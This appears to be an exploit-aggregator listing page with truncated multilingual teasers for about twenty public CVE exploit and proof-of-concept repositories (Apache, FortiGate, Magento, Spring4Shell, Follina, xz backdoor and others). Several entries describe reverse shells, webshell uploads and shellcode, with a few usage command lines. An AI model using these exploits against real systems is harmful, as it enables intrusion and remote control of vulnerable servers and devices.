-CVE-2024-45352

🚨 CVE-2024-45352 – Удаленное выполнение кода RCE в Xiaomi Smarthome 📌 Сводка Критическая уязвимость CVE-2024-45352 была обнаружена в приложении Xiaomi Smarthome, позволяющая неавторизованное удаленное выполнение кода RCE из-за неправильной обработки входных данных во внутреннем парсере API. Эта...

CVE-2022-24087

CVE-2022-24086-RCE 및 CVE-2022-24086-RCE CVE 설명 CVE-2022-24086 및 CVE-2022-24087 - Magento Open Source 및 Adobe Commerce의 연락처 양식에서 부적절한 입력 검증 취약점 - CVSS 점수 9.8/10을 받았으며, 사전 인증 문제로 분류되어 자격 증명 없이 악용될 수 있습니다. 취약한 버전: Magento Open Source / Adobe Commerce - 2.3.3-p1 - 2.3.4 Magento Open Source / Adobe...

CVE-2022-28590

CVE-2022-28590 Оригинальное обнаружение и ручной PoC от tuando243: Уязвимость удаленного выполнения кода RCE существует в Pixelimity 1.0 через admin/admin-ajax.php?action=installtheme. Данный PoC загружает простой веб-шелл для дальнейшего выполнения кода. Этот эксплойт ожидает, что на сервере...

jboss-autopwn-1

jboss-autopwn JBoss Autopwn, представленный на BlackHat Europe 2010 — эта версия включает CVE-2010-0738, уязвимость обхода аутентификации JBoss через манипуляцию VERB, обнаруженную Minded Security C. Papathanasiou 2010 ВВЕДЕНИЕ Этот скрипт JBoss развёртывает JSP-оболочку на целевом сервере JBoss...

SQLPad-RCE-Exploit-CVE-2022-0944

작동 방식: 이 PHP 코드는 SQLPad 의 원격 코드 실행RCE 취약점CVE-2022-0944을 악용하도록 설계되었습니다. 악성 코드를 SQLPad 애플리케이션에 주입하여 시스템 명령을 실행하도록 강제함으로써 공격자가 취약한 시스템을 원격으로 제어할 수 있는 리버스 셸 연결을 만듭니다. 사전 요구 사항: PHP CLI – sudo apt-get install php-cli cURL PHP cURL library – sudo apt-get install php-curl 사용법: 1. 리스너 설정 공격자 머신에서 리버스 셸...

CVE-2022-46080

RU Этот проект предоставляет доказательство концепции эксплойта для уязвимости удаленного выполнения кода RCE в роутерах Nexxt, особенно для версии 15.03.06.60. Эта уязвимость позволяет атакующему включить службу Telnet на роутере без аутентификации, что потенциально предоставляет...

CVE-2020-2551

CVE-2020-2551 Weblogic IIOP десериализация Тестовая среда Weblogic10.3.6+jdk1.6 Запакованный jar-файл Код извлечения: a6ob Эксплуатация уязвимости Скачайте jar-файл, затем с помощью marshalsec поднимите вредоносный RMI-сервис, локально скомпилируйте exp.java root@kitploit: package payload; import...

CVE-2024-21534-poc

Уязвимость: CVE-2024-21534 Серьезность: Критическая оценка CVSS: 9.8 Описание: Пакет jsonpath-plus версии = 10.0.7 уязвим для удаленного выполнения кода RCE, что позволяет злоумышленникам выполнять произвольный код через модуль VM Node.js. Эта уязвимость вызвана недостаточной проверкой входных...

CVE-2023-27997

CVE-2023-27997 이 코드로 FortiGate VM64 7.2.0을 익스플로잇할 수 있습니다. 참고: 코드가 매우 어리석은 방식으로 작성되었습니다. 개념 증명 root@kitploit: $ python3 exploit.py 192.168.106.142 10443 192.168.106.143 9999 + generating shellcode + salt=b'25c2dcf2' + processing hash + finding hash in cache - not in cache + computing + loading +...

xzbot

xzbot xz 백도어 탐구 CVE-2024-3094backdoor 다음 내용을 포함합니다: honeypot: 공격 시도를 탐지하기 위한 가짜 취약 서버 ed448 patch: 우리의 ED448 공개 키를 사용하도록 liblzma.so 패치 backdoor format: 백도어 페이로드의 형식 backdoor demo: ED448 개인 키를 알고 있다고 가정하고 RCE를 트리거하는 CLI honeypot openssh.patch 파일을 참조하세요. 이는 백도어 형식과 일치하는 공개 키 N을 가진 연결 시도를 기록하는 간단한...

SubrionCMS-4.2.1-File-upload-RCE-auth-

SubrionCMS-4.2.1-File-upload-RCE-auth- 이것은 CVE-2018-19422 익스플로잇을 약간 수정한 버전으로, 제가 겪었던 작지만 짜증나는 문제를 해결하기 위한 것입니다. 저는 CTF에서 이 익스플로잇을 사용해야 했지만 제대로 작동하지 않아서 계속 로그인에 실패했습니다. 오랜 시간이 지난 후에야 드디어 이유를 알아냈습니다. 문제는 URL 인수에 있었습니다. URL을 지정할 때 프로그램은 자동으로 내가 URL을 /로 끝낼 것이라고 가정했지만, 나는 그렇게 하지 않았던 것입니다. 내가 한 방식:...

CVE-2023-43208-mirth-connect-rce-poc

Уязвимость RCE в Mirth Connect CVE-2023-37679 и CVE-2023-43208 Этот эксплойт-скрипт и PoC написаны для углубленного анализа CVE на vsociety. CVE-2023-43208 — это серьезная ошибка безопасности в NextGen Mirth Connect, инструменте, используемом больницами и клиниками для обмена данными пациентов. Э...

CVE-2021-42013_Reverse-Shell

CVE-2021-42013Reverse-Shell CVE-2021-42013 的 PoC：Apache 2.4.50（带 CGI）反向 Shell 用法： root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:port/ LHOST LPORT 更多信息： root@kitploit: chmod -x CVE-2021-42013.sh ./CVE-2021-42013reverseshell.sh http://ip:8083 10.0.000.000 9999 ...

CVE-2022-30190

MS-MSDT Follina CVE-2022-30190 PoC Microsoft Office Word リモートコード実行を悪用する悪意のある docx ジェネレーター このスクリプトは、LockedByte による CVE-2021-40444 PoC と Tothi による writeup に基づいています。 使用方法 まず backup.html を修正し、PowerShell ペイロードを置き換えてください。現在は、IEX'calc.exe' を使用して calc.exe を起動するだけです。 python3 exploit.py generate http://...

Zoom-dll-hijacking

Zoom-dll-hijacking Уязвимость перехвата DLL в Zoom Meeting 5.1.3 Затронутые версии Windows Windows 7 и ниже Windows Server 2008 Любая другая система Windows, в которой отсутствует SHCore.dll. Использование Скопируйте dbghelper.dll и SHCore.dll в следующую папку...

CVE-2024-24590-ClearML-RCE-CMD-POC

Сценарий эксплуатации ClearML Этот репозиторий содержит сценарий эксплуатации на Python для CVE-2024-24590. Сценарий предназначен для загрузки вредоносного pickle-файла в ClearML, который выполняет обратную оболочку или произвольную команду. Возможности Загружает вредоносный pickle-артефакт в...

Prestashop-CVE-2024-34716

CSRF 및 리버스 셸 공격용 익스플로잇 스크립트 이 스크립트는 CSRF사이트 간 요청 위조 익스플로잇을 자동화하여 대상 웹 서버에 PHP 리버스 셸을 업로드하고 실행합니다. 리버스 셸은 조작된 CSRF 페이로드를 통해 ZIP 파일로 전달되며, 이는 권한 있는 사용자가 특정 엔드포인트와 상호작용할 때 트리거됩니다. 스크립트가 리버스 셸 연결을 캡처하려면 리스닝 중인 Netcat 인스턴스가 필요합니다. 현재 깨진 것 같습니다. 나중에 업데이트하겠습니다. 요구 사항 Netcat : Netcat이 설치되어 있고 지정된 포트기본값:...

CVE-2023-46012

CVE-2023-46012 Уязвимость удаленного выполнения кода из-за переполнения стекового буфера в IGD UPnP на LINKSYS AC1900 EA7500v3 Эта уязвимость позволяет сетевым злоумышленникам, находящимся в той же сети, выполнять произвольный код на уязвимых установках маршрутизаторов LINKSYS EA7500. Для...

docker-CVE-2019-11043

CVE-2019-11043 を確認するためのDockerイメージとコマンド CVE: CVE-2019-11043 説明: PHP 7.1.x（7.1.33未満）、7.2.x（7.2.24未満）、7.3.x（7.3.11未満）の特定のFPMセットアップ構成では、FPMモジュールが割り当てられたバッファを超えてFCGIプロトコルデータ用に予約された領域に書き込む可能性があり、リモートコード実行の可能性が生じます。 詳細: https://nvd.nist.gov/vuln/detail/CVE-2019-11043 Github エクスプロイト:...

CVE-2022-22965-PoC

CVE-2022-22965 Spring4Shell 概念実証 Spring Core で RCE（リモートコード実行）をテストする イメージをビルドする BuildKit ベースのビルドが必要なため、有効にする必要があります。 最も簡単な方法は、docker build コマンドを実行するときに DOCKERBUILDKIT=1 環境変数を設定することです。例： root@kitploit: $ DOCKERBUILDKIT=1 docker build -f Dockerfile.core . -t spring4shell-core && docker run --rm -p...